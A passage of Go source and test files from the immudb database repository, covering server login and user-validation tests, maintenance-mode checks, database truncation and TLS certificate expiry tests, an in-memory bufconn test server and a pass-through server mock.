&schema.KeyPrefix{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.CountAll(context.Background(), &emptypb.Empty{}) require.ErrorIs(t, err, ErrNotLoggedIn) // Login errors s.Options.auth = false _, err = s.Login(emptyCtx, &schema.LoginRequest{}) require.ErrorContains(t, err, "server is running with authentication disabled, please enable authentication to login") s.Options.auth = true _, err = s.Login(emptyCtx, &schema.LoginRequest{User: []byte("nonexistent")}) require.ErrorContains(t, err, "invalid user name or password") _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Active: false, Username: username}) require.NoError(t, err) _, err = s.Login(emptyCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes}) require.ErrorContains(t, err, "user is not active") _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Active: true, Username: username}) require.NoError(t, err) lr, err = s.Login(userCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes}) require.NoError(t, err) md = metadata.Pairs("authorization", lr.Token) userCtx = metadata.NewIncomingContext(context.Background(), md) // setup PID OS := s.OS.(*immuos.StandardOS) baseFOK := OS.BaseF OS.BaseF = func(path string) string { return "." } s.Options.Pidfile = "pidfile" defer os.Remove(s.Options.Pidfile) require.ErrorContains(t, s.setupPidFile(), fmt.Sprintf("Pid filename is invalid: %s", s.Options.Pidfile)) OS.BaseF = baseFOK // print usage call-to-action s.Options.Logfile = "TestUserAndDatabaseOperations.log" s.printUsageCallToAction() } func TestServerGetUserAndUserExists(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) require.NoError(t, err) username := "someuser" _, err = s.CreateUser(ctx, &schema.CreateUserRequest{ User: []byte(username), Password: []byte("Somepass1$"), Permission: 1, Database: DefaultDBName}) require.NoError(t, err) require.NoError(t, err) _, err = s.getUser(context.Background(), []byte(username)) require.NoError(t, err) _, err = s.getValidatedUser(context.Background(), []byte(username), []byte("wrongpass")) require.ErrorIs(t, err, bcrypt.ErrMismatchedHashAndPassword) _, err = s.getValidatedUser(context.Background(), []byte(username), nil) require.ErrorIs(t, err, bcrypt.ErrMismatchedHashAndPassword) _, err = s.getValidatedUser(context.Background(), []byte(username), []byte{}) require.ErrorIs(t, err, bcrypt.ErrMismatchedHashAndPassword) } func TestServerIsValidDBName(t *testing.T) { err := isValidDBName("") require.ErrorContains(t, err, "database name length outside of limits") err = isValidDBName(strings.Repeat("a", 129)) require.ErrorContains(t, err, "database name length outside of limits") err = isValidDBName(" ") require.ErrorContains(t, err, "unrecognized character in database name") err = isValidDBName("-") require.ErrorContains(t, err, "punctuation marks and symbols are not allowed in database name") err = isValidDBName("_") require.NoError(t, err) err = isValidDBName(strings.Repeat("a", 32)) require.NoError(t, err) err = isValidDBName("_") require.NoError(t, err) } func TestServerMandatoryAuth(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) _, err = s.CreateUser(ctx, &schema.CreateUserRequest{ User: []byte("someuser"), Password: []byte("Somepass1$"), Permission: 1, Database: DefaultDBName, }) require.NoError(t, err) require.True(t, s.mandatoryAuth()) } func TestServerLoginAttempWithEmptyPassword(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(``), } ctx := context.Background() _, err = s.Login(ctx, r) require.Contains(t, err.Error(), "invalid user name or password") } func TestServerMaintenanceMode(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithMaintenance(true). WithAuth(false) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) _, err = s.CreateUser(context.Background(), nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.ChangePassword(context.Background(), nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.ChangePermission(context.Background(), nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.SetActiveUser(context.Background(), nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.CreateDatabaseWith(context.Background(), &schema.DatabaseSettings{}) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.UpdateDatabase(context.Background(), &schema.DatabaseSettings{}) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.Set(context.Background(), nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.VerifiableSet(context.Background(), nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.SetReference(context.Background(), nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.VerifiableSetReference(context.Background(), nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.ZAdd(context.Background(), nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.VerifiableZAdd(context.Background(), nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.Delete(context.Background(), nil) require.Contains(t, err.Error(), store.ErrIllegalArguments.Error()) _, err = s.Delete(context.Background(), &schema.DeleteKeysRequest{}) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.ExecAll(context.Background(), nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) _, err = s.SQLExec(context.Background(), nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) err = s.StreamSet(nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) err = s.StreamVerifiableSet(nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) err = s.StreamExecAll(nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) } func TestServerDatabaseTruncate(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) s := DefaultServer() s.WithOptions(opts) s.Initialize() _, err := s.KeepAlive(context.Background(), &emptypb.Empty{}) require.Error(t, err) _, err = s.OpenSession(context.Background(), nil) require.Error(t, err) resp, err := s.OpenSession(context.Background(), &schema.OpenSessionRequest{ Username: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), DatabaseName: DefaultDBName, }) require.NoError(t, err) _, err = s.KeepAlive(context.Background(), &emptypb.Empty{}) require.Error(t, err) ctx := metadata.NewIncomingContext(context.Background(), metadata.New(map[string]string{"sessionid": resp.GetSessionID()})) _, err = s.KeepAlive(ctx, &emptypb.Empty{}) require.NoError(t, err) t.Run("attempt to delete without retention period should fail", func(t *testing.T) { _, err = s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{ Name: "db1", }) require.NoError(t, err) _, err = s.UseDatabase(ctx, &schema.Database{DatabaseName: "db1"}) require.NoError(t, err) _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{}) require.Error(t, err) }) t.Run("attempt to delete without database should fail", func(t *testing.T) { _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{}) require.Error(t, err) }) t.Run("attempt to delete with retention period < 0 should fail", func(t *testing.T) { _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{ Database: "db1", RetentionPeriod: -1, }) require.Error(t, err) }) t.Run("attempt to delete with retention period < 1 day should fail", func(t *testing.T) { rp := 23 * time.Hour _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{ Database: "db1", RetentionPeriod: rp.Milliseconds(), }) require.Error(t, err) }) t.Run("attempt to delete with retention period >= 1 day should fail if retention period is not reached", func(t *testing.T) { _, err := s.UseDatabase(ctx, &schema.Database{DatabaseName: "db1"}) require.NoError(t, err) for i := 0; i < 64; i++ { _, err = s.Set(ctx, &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte(fmt.Sprintf("key%d", i)), Value: []byte(fmt.Sprintf("value%d", i)), }, }, }) require.NoError(t, err) } rp := 24 * time.Hour _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{ Database: "db1", RetentionPeriod: rp.Milliseconds(), }) require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) }) _, err = s.CloseSession(ctx, &emptypb.Empty{}) require.NoError(t, err) } func TestUserIsAlertedToExpiredCerts(t *testing.T) { dir := t.TempDir() certsPath := filepath.Join(dir, "certs") expCert := makeCert(t, certsPath, "expired", 0) nearExpCert := makeCert(t, certsPath, "nearly-expired", 15*24*time.Hour) validCert := makeCert(t, certsPath, "valid", 36*24*time.Hour) tlsConfig := &tls.Config{ Certificates: []tls.Certificate{ expCert, nearExpCert, validCert, {}, {Certificate: [][]byte{{1, 2, 3}}}, }, } opts := DefaultOptions(). WithDir(dir). WithTLS(tlsConfig) s, stop := testServer(opts) defer stop() mockLogger := &mockLogger{captureLogs: true} s.WithLogger(mockLogger) s.checkTLSCerts() require.GreaterOrEqual(t, len(mockLogger.logs), 4) require.Contains(t, mockLogger.logs[0], "is expired") require.Contains(t, mockLogger.logs[1], "is about to expire") require.Contains(t, mockLogger.logs[2], "tls config contains an invalid certificate") require.Contains(t, mockLogger.logs[3], "could not parse certificate") } func makeCert(t *testing.T, dir, suffix string, expiration time.Duration) tls.Certificate { certFile := filepath.Join(dir, fmt.Sprintf("immudb-%s.cert", suffix)) keyFile := filepath.Join(dir, fmt.Sprintf("immudb-%s.key", suffix)) err := cert.GenerateSelfSignedCert(certFile, keyFile, "immudb", expiration) require.NoError(t, err) cert, err := tls.LoadX509KeyPair(certFile, keyFile) require.NoError(t, err) return cert } ================================================ FILE: pkg/server/servertest/server.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package servertest import ( "context" "log" "net" "sync" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware" "github.com/rs/xid" "google.golang.org/grpc" "github.com/codenotary/immudb/pkg/server" "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/test/bufconn" ) const bufSize = 1024 * 1024 type BuffDialer func(context.Context, string) (net.Conn, error) type BufconnServer struct { immuServer *server.ImmuServer m sync.Mutex pgsqlwg sync.WaitGroup Lis *bufconn.Listener Server *ServerMock Options *server.Options GrpcServer *grpc.Server Dialer BuffDialer quit chan struct{} uuid xid.ID } // NewBuffconnServer creates new test server instance that uses grpc's buffconn connection method // to talk to its clients - communication happens using memory buffers instead of TCP connections. func NewBufconnServer(options *server.Options) *BufconnServer { options.Port = 0 immuserver := server.DefaultServer().WithOptions(options).(*server.ImmuServer) uuid := xid.New() bs := &BufconnServer{ quit: make(chan struct{}), Lis: bufconn.Listen(bufSize), Options: options, immuServer: immuserver, Server: &ServerMock{Srv: immuserver}, uuid: uuid, } return bs } func (bs *BufconnServer) GetUUID() xid.ID { return bs.uuid } func (bs *BufconnServer) SetUUID(id xid.ID) { bs.uuid = id } func (bs *BufconnServer) setupGrpcServer() { uuidContext := server.NewUUIDContext(bs.uuid) bs.GrpcServer = grpc.NewServer( grpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer( server.ErrorMapper, bs.immuServer.KeepAliveSessionInterceptor, uuidContext.UUIDContextSetter, auth.ServerUnaryInterceptor, bs.immuServer.SessionAuthInterceptor, bs.immuServer.InjectRequestMetadataUnaryInterceptor, )), grpc.StreamInterceptor(grpc_middleware.ChainStreamServer( server.ErrorMapperStream, bs.immuServer.KeepALiveSessionStreamInterceptor, uuidContext.UUIDStreamContextSetter, auth.ServerStreamInterceptor, bs.immuServer.InjectRequestMetadataStreamInterceptor, )), ) } func (bs *BufconnServer) Start() error { bs.m.Lock() defer bs.m.Unlock() bs.setupGrpcServer() bs.Dialer = func(ctx context.Context, s string) (net.Conn, error) { return bs.Lis.Dial() } bs.pgsqlwg.Add(1) if err := bs.Server.Initialize(); err != nil { return err } // in order to know the port of pgsql listener (auto assigned by os thanks 0 value) we need to wait bs.pgsqlwg.Done() schema.RegisterImmuServiceServer(bs.GrpcServer, bs.Server) go func() { if err := bs.GrpcServer.Serve(bs.Lis); err != nil { log.Println(err) } }() if bs.Options.PgsqlServer { go func() { if err := bs.Server.Srv.PgsqlSrv.Serve(); err != nil { log.Println(err) } }() } return nil } func (bs *BufconnServer) Stop() error { bs.m.Lock() defer bs.m.Unlock() if err := bs.Server.Srv.CloseDatabases(); err != nil { return err } if bs.Server.Srv.PgsqlSrv != nil { if err := bs.Server.Srv.PgsqlSrv.Stop(); err != nil { return err } } if bs.GrpcServer != nil { bs.GrpcServer.Stop() bs.GrpcServer = nil } return nil } func (bs *BufconnServer) WaitForPgsqlListener() { bs.m.Lock() defer bs.m.Unlock() bs.pgsqlwg.Wait() } func (bs *BufconnServer) NewClient(options *client.Options) client.ImmuClient { return client.NewClient().WithOptions( options.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}), ) } func (bs *BufconnServer) NewAuthenticatedClient(options *client.Options) (client.ImmuClient, error) { client := bs.NewClient(options) err := client.OpenSession( context.Background(), []byte(auth.SysAdminUsername), []byte(bs.Server.Srv.Options.AdminPassword), bs.Server.Srv.Options.GetDefaultDBName(), ) if err != nil { return nil, err } return client, nil } ================================================ FILE: pkg/server/servertest/server_mock.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package servertest import ( "context" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/server" "github.com/golang/protobuf/ptypes/empty" ) type ServerMock struct { Srv *server.ImmuServer PreVerifiableGetFn func(context.Context, *schema.VerifiableGetRequest) PreVerifiableSetFn func(context.Context, *schema.VerifiableSetRequest) PostSetFn func(context.Context, *schema.SetRequest, *schema.TxHeader, error) (*schema.TxHeader, error) PostVerifiableSetFn func(context.Context, *schema.VerifiableSetRequest, *schema.VerifiableTx, error) (*schema.VerifiableTx, error) PostSetReferenceFn func(context.Context, *schema.ReferenceRequest, *schema.TxHeader, error) (*schema.TxHeader, error) PostVerifiableSetReferenceFn func(context.Context, *schema.VerifiableReferenceRequest, *schema.VerifiableTx, error) (*schema.VerifiableTx, error) PostZAddFn func(context.Context, *schema.ZAddRequest, *schema.TxHeader, error) (*schema.TxHeader, error) PostVerifiableZAddFn func(context.Context, *schema.VerifiableZAddRequest, *schema.VerifiableTx, error) (*schema.VerifiableTx, error) PostExecAllFn func(context.Context, *schema.ExecAllRequest, *schema.TxHeader, error) (*schema.TxHeader, error) GetDbIndexFromCtx func(context.Context, string) (int64, error) } func (s *ServerMock) TxSQLExec(ctx context.Context, request *schema.SQLExecRequest) (*empty.Empty, error) { return s.Srv.TxSQLExec(ctx, request) } func (s *ServerMock) TxSQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_TxSQLQueryServer) error { return s.Srv.TxSQLQuery(req, srv) } func (s *ServerMock) NewTx(ctx context.Context, request *schema.NewTxRequest) (*schema.NewTxResponse, error) { return s.Srv.NewTx(ctx, request) } func (s *ServerMock) Commit(ctx context.Context, e *empty.Empty) (*schema.CommittedSQLTx, error) { return s.Srv.Commit(ctx, e) } func (s *ServerMock) Rollback(ctx context.Context, e *empty.Empty) (*empty.Empty, error) { return s.Srv.Rollback(ctx, e) } func (s *ServerMock) KeepAlive(ctx context.Context, request *empty.Empty) (*empty.Empty, error) { return s.Srv.KeepAlive(ctx, request) } func (s *ServerMock) OpenSession(ctx context.Context, request *schema.OpenSessionRequest) (*schema.OpenSessionResponse, error) { return s.Srv.OpenSession(ctx, request) } func (s *ServerMock) CloseSession(ctx context.Context, e *empty.Empty) (*empty.Empty, error) { return s.Srv.CloseSession(ctx, e) } func (s *ServerMock) StreamExecAll(allServer schema.ImmuService_StreamExecAllServer) error { return s.Srv.StreamExecAll(allServer) } func (s *ServerMock) StreamGet(request *schema.KeyRequest, getServer schema.ImmuService_StreamGetServer) error { return s.Srv.StreamGet(request, getServer) } func (s *ServerMock) StreamSet(setServer schema.ImmuService_StreamSetServer) error { return s.Srv.StreamSet(setServer) } func (s *ServerMock) StreamVerifiableGet(request *schema.VerifiableGetRequest, getServer schema.ImmuService_StreamVerifiableGetServer) error { return s.Srv.StreamVerifiableGet(request, getServer) } func (s *ServerMock) StreamVerifiableSet(vSetServer schema.ImmuService_StreamVerifiableSetServer) error { return s.Srv.StreamVerifiableSet(vSetServer) } func (s *ServerMock) StreamScan(request *schema.ScanRequest, scanServer schema.ImmuService_StreamScanServer) error { return s.Srv.StreamScan(request, scanServer) } func (s *ServerMock) StreamZScan(request *schema.ZScanRequest, zscanServer schema.ImmuService_StreamZScanServer) error { return s.Srv.StreamZScan(request, zscanServer) } func (s *ServerMock) StreamHistory(request *schema.HistoryRequest, historyServer schema.ImmuService_StreamHistoryServer) error { return s.Srv.StreamHistory(request, historyServer) } func (s *ServerMock) ExportTx(req *schema.ExportTxRequest, txsServer schema.ImmuService_ExportTxServer) error { return s.Srv.ExportTx(req, txsServer) } func (s *ServerMock) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateTxServer) error { return s.Srv.ReplicateTx(replicateTxServer) } func (s *ServerMock) StreamExportTx(stream schema.ImmuService_StreamExportTxServer) error { return s.Srv.StreamExportTx(stream) } func (s *ServerMock) ListUsers(ctx context.Context, req *empty.Empty) (*schema.UserList, error) { return s.Srv.ListUsers(ctx, req) } func (s *ServerMock) CreateUser(ctx context.Context, req *schema.CreateUserRequest) (*empty.Empty, error) { return s.Srv.CreateUser(ctx, req) } func (s *ServerMock) ChangePassword(ctx context.Context, req *schema.ChangePasswordRequest) (*empty.Empty, error) { return s.Srv.ChangePassword(ctx, req) } func (s *ServerMock) UpdateAuthConfig(ctx context.Context, req *schema.AuthConfig) (*empty.Empty, error) { return s.Srv.UpdateAuthConfig(ctx, req) } func (s *ServerMock) UpdateMTLSConfig(ctx context.Context, req *schema.MTLSConfig) (*empty.Empty, error) { return s.Srv.UpdateMTLSConfig(ctx, req) } func (s *ServerMock) Login(ctx context.Context, req *schema.LoginRequest) (*schema.LoginResponse, error) { return s.Srv.Login(ctx, req) } func (s *ServerMock) Logout(ctx context.Context, req *empty.Empty) (*empty.Empty, error) { return s.Srv.Logout(ctx, req) } func (s *ServerMock) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { if s.PostSetFn == nil { return s.Srv.Set(ctx, req) } rsp, err := s.Srv.Set(ctx, req) return s.PostSetFn(ctx, req, rsp, err) } func (s *ServerMock) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) { if s.PreVerifiableSetFn != nil { s.PreVerifiableSetFn(ctx, req) } if s.PostVerifiableSetFn == nil { return s.Srv.VerifiableSet(ctx, req) } rsp, err := s.Srv.VerifiableSet(ctx, req) return s.PostVerifiableSetFn(ctx, req, rsp, err) } func (s *ServerMock) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) { return s.Srv.Get(ctx, req) } func (s *ServerMock) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) { if s.PreVerifiableGetFn != nil { s.PreVerifiableGetFn(ctx, req) } return s.Srv.VerifiableGet(ctx, req) } func (s *ServerMock) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) { return s.Srv.GetAll(ctx, req) } func (s *ServerMock) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { return s.Srv.Delete(ctx, req) } func (s *ServerMock) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.TxHeader, error) { if s.PostExecAllFn == nil { return s.Srv.ExecAll(ctx, req) } rsp, err := s.Srv.ExecAll(ctx, req) return s.PostExecAllFn(ctx, req, rsp, err) } func (s *ServerMock) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) { return s.Srv.Scan(ctx, req) } func (s *ServerMock) Count(ctx context.Context, req *schema.KeyPrefix) (*schema.EntryCount, error) { return s.Srv.Count(ctx, req) } func (s *ServerMock) CountAll(ctx context.Context, req *empty.Empty) (*schema.EntryCount, error) { return s.Srv.CountAll(ctx, req) } func (s *ServerMock) TxById(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) { return s.Srv.TxById(ctx, req) } func (s *ServerMock) VerifiableTxById(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) { return s.Srv.VerifiableTxById(ctx, req) } func (s *ServerMock) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) { return s.Srv.TxScan(ctx, req) } func (s *ServerMock) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) { return s.Srv.History(ctx, req) } func (s *ServerMock) ServerInfo(ctx context.Context, req *schema.ServerInfoRequest) (*schema.ServerInfoResponse, error) { return s.Srv.ServerInfo(ctx, req) } func (s *ServerMock) Health(ctx context.Context, req *empty.Empty) (*schema.HealthResponse, error) { return s.Srv.Health(ctx, req) } func (s *ServerMock) CurrentState(ctx context.Context, req *empty.Empty) (*schema.ImmutableState, error) { return s.Srv.CurrentState(ctx, req) } func (s *ServerMock) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) { if s.PostSetReferenceFn == nil { return s.Srv.SetReference(ctx, req) } rsp, err := s.Srv.SetReference(ctx, req) return s.PostSetReferenceFn(ctx, req, rsp, err) } func (s *ServerMock) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) { if s.PostVerifiableSetReferenceFn == nil { return s.Srv.VerifiableSetReference(ctx, req) } rsp, err := s.Srv.VerifiableSetReference(ctx, req) return s.PostVerifiableSetReferenceFn(ctx, req, rsp, err) } func (s *ServerMock) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) { if s.PostZAddFn == nil { return s.Srv.ZAdd(ctx, req) } rsp, err := s.Srv.ZAdd(ctx, req) return s.PostZAddFn(ctx, req, rsp, err) } func (s *ServerMock) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) { if s.PostVerifiableZAddFn == nil { return s.Srv.VerifiableZAdd(ctx, req) } rsp, err := s.Srv.VerifiableZAdd(ctx, req) return s.PostVerifiableZAddFn(ctx, req, rsp, err) } func (s *ServerMock) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) { return s.Srv.ZScan(ctx, req) } func (s *ServerMock) CreateDatabase(ctx context.Context, req *schema.Database) (*empty.Empty, error) { return s.Srv.CreateDatabase(ctx, req) } func (s *ServerMock) CreateDatabaseWith(ctx context.Context, req *schema.DatabaseSettings) (*empty.Empty, error) { return s.Srv.CreateDatabaseWith(ctx, req) } func (s *ServerMock) CreateDatabaseV2(ctx context.Context, req *schema.CreateDatabaseRequest) (*schema.CreateDatabaseResponse, error) { return s.Srv.CreateDatabaseV2(ctx, req) } func (s *ServerMock) LoadDatabase(ctx context.Context, req *schema.LoadDatabaseRequest) (*schema.LoadDatabaseResponse, error) { return s.Srv.LoadDatabase(ctx, req) } func (s *ServerMock) UnloadDatabase(ctx context.Context, req *schema.UnloadDatabaseRequest) (*schema.UnloadDatabaseResponse, error) { return s.Srv.UnloadDatabase(ctx, req) } func (s *ServerMock) DeleteDatabase(ctx context.Context, req *schema.DeleteDatabaseRequest) (*schema.DeleteDatabaseResponse, error) { return s.Srv.DeleteDatabase(ctx, req) } func (s *ServerMock) DatabaseList(ctx context.Context, req *empty.Empty) (*schema.DatabaseListResponse, error) { return s.Srv.DatabaseList(ctx, req) } func (s *ServerMock) DatabaseListV2(ctx context.Context, req *schema.DatabaseListRequestV2) (*schema.DatabaseListResponseV2, error) { return s.Srv.DatabaseListV2(ctx, req) } func (s *ServerMock) UseDatabase(ctx context.Context, req *schema.Database) (*schema.UseDatabaseReply, error) { return s.Srv.UseDatabase(ctx, req) } func (s *ServerMock) DatabaseHealth(ctx context.Context, req *empty.Empty) (*schema.DatabaseHealthResponse, error) { return s.Srv.DatabaseHealth(ctx, req) } func (s *ServerMock) UpdateDatabase(ctx context.Context, req *schema.DatabaseSettings) (*empty.Empty, error) { return s.Srv.UpdateDatabase(ctx, req) } func (s *ServerMock) UpdateDatabaseV2(ctx context.Context, req *schema.UpdateDatabaseRequest) (*schema.UpdateDatabaseResponse, error) { return s.Srv.UpdateDatabaseV2(ctx, req) } func (s *ServerMock) GetDatabaseSettings(ctx context.Context, req *empty.Empty) (*schema.DatabaseSettings, error) { return s.Srv.GetDatabaseSettings(ctx, req) } func (s *ServerMock) GetDatabaseSettingsV2(ctx context.Context, req *schema.DatabaseSettingsRequest) (*schema.DatabaseSettingsResponse, error) { return s.Srv.GetDatabaseSettingsV2(ctx, req) } func (s *ServerMock) FlushIndex(ctx context.Context, req *schema.FlushIndexRequest) (*schema.FlushIndexResponse, error) { return s.Srv.FlushIndex(ctx, req) } func (s *ServerMock) CompactIndex(ctx context.Context, req *empty.Empty) (*empty.Empty, error) { return s.Srv.CompactIndex(ctx, req) } func (s *ServerMock) ChangePermission(ctx context.Context, req *schema.ChangePermissionRequest) (*empty.Empty, error) { return s.Srv.ChangePermission(ctx, req) } func (s *ServerMock) SetActiveUser(ctx context.Context, req *schema.SetActiveUserRequest) (*empty.Empty, error) { return s.Srv.SetActiveUser(ctx, req) } func (s *ServerMock) getDbIndexFromCtx(ctx context.Context, methodname string) (int64, error) { return s.GetDbIndexFromCtx(ctx, methodname) } func (s *ServerMock) Stop() error { return s.Srv.Stop() } func (s *ServerMock) Initialize() error { return s.Srv.Initialize() } func (s *ServerMock) SQLExec(ctx context.Context, req *schema.SQLExecRequest) (*schema.SQLExecResult, error) { return s.Srv.SQLExec(ctx, req) } func (s *ServerMock) UnarySQLQuery(ctx context.Context, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) { return s.Srv.UnarySQLQuery(ctx, req) } func (s *ServerMock) SQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_SQLQueryServer) error { return s.Srv.SQLQuery(req, srv) } func (s *ServerMock) ListTables(ctx context.Context, req *empty.Empty) (*schema.SQLQueryResult, error) { return s.Srv.ListTables(ctx, req) } func (s *ServerMock) DescribeTable(ctx context.Context, req *schema.Table) (*schema.SQLQueryResult, error) { return s.Srv.DescribeTable(ctx, req) } func (s *ServerMock) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { return s.Srv.VerifiableSQLGet(ctx, req) } func (s *ServerMock) TruncateDatabase(ctx context.Context, req *schema.TruncateDatabaseRequest) (*schema.TruncateDatabaseResponse, error) { return s.Srv.TruncateDatabase(ctx, req) } func (s *ServerMock) ChangeSQLPrivileges(ctx context.Context, r *schema.ChangeSQLPrivilegesRequest) (*schema.ChangeSQLPrivilegesResponse, error) { return nil, nil } ================================================ FILE: pkg/server/service.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server // Service ... type Service struct { ImmuServerIf } // Start - non-blocking start service func (s Service) Start() { go s.Run() } // Stop - non-blocking stop service func (s Service) Stop() { s.ImmuServerIf.Stop() } // Run - blocking run service func (s Service) Run() { s.ImmuServerIf.Start() } ================================================ FILE: pkg/server/service_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "testing" "time" "github.com/stretchr/testify/require" "google.golang.org/grpc/test/bufconn" ) func TestService(t *testing.T) { bufSize := 1024 * 1024 l := bufconn.Listen(bufSize) dir := t.TempDir() options := 